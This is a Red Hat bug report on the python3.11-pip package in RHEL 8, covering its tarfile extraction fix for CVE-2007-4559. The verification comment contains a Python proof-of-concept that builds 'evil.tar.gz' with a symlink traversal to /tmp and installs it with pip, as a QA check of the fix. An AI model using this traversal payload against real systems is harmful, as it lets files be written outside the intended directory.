Bug 2218249
| Summary: | [RHEL8]python3.11-pip: Python tarfile extraction needs change to avoid a warning (CVE-2007-4559 mitigation) | ||
|---|---|---|---|
| Product: | Red Hat Enterprise Linux 8 | Reporter: | Charalampos Stratakis <cstratak> |
| Component: | python3.11-pip | Assignee: | Charalampos Stratakis <cstratak> |
| Status: | VERIFIED --- | QA Contact: | Lukáš Zachar <lzachar> |
| Severity: | unspecified | Docs Contact: | |
| Priority: | unspecified | ||
| Version: | 8.9 | CC: | cstratak, lzachar, pviktori, python-maint, rhel-cs-apps-subsystem-qe |
| Target Milestone: | rc | Keywords: | Triaged |
| Target Release: | --- | ||
| Hardware: | Unspecified | ||
| OS: | Unspecified | ||
| Whiteboard: | |||
| Fixed In Version: | python3.11-pip-22.3.1-4.el8 | Doc Type: | If docs needed, set a value |
| Doc Text: | Story Points: | --- | |
| Clone Of: | 2218247 | Environment: | |
| Last Closed: | Type: | Bug | |
| Regression: | --- | Mount Type: | --- |
| Documentation: | --- | CRM: | |
| Verified Versions: | Category: | --- | |
| oVirt Team: | --- | RHEL 7.3 requirements from Atomic Host: | |
| Cloudforms Team: | --- | Target Upstream Version: | |
| Embargoed: | |||
| Bug Depends On: | 263261 | ||
| Bug Blocks: | |||
The issue is fixed via the PR. |
For verification: Run this script to create a malformed tarball: """ import tarfile def mkinfo(name, **kwargs): tarinfo = tarfile.TarInfo(name=name) for name, value in kwargs.items(): setattr(tarinfo, name, value) return tarinfo with tarfile.open('evil.tar.gz', 'w:gz') as tf: tf.addfile(mkinfo('./pyproject.toml')) tf.addfile(mkinfo('./tmp', type=tarfile.SYMTYPE, linkname='../../../../../../../../tmp')) tf.addfile(mkinfo('./tmp/poc')) """ And then run python3.11 -m pip install evil.tar.gz On an unpatched pip the evil.tar.gz will install successfully. On a fixed/patched one a "tarfile.OutsideDestinationError: 'tmp/poc' would be extracted to '/tmp/poc', which is outside the destination" will appear.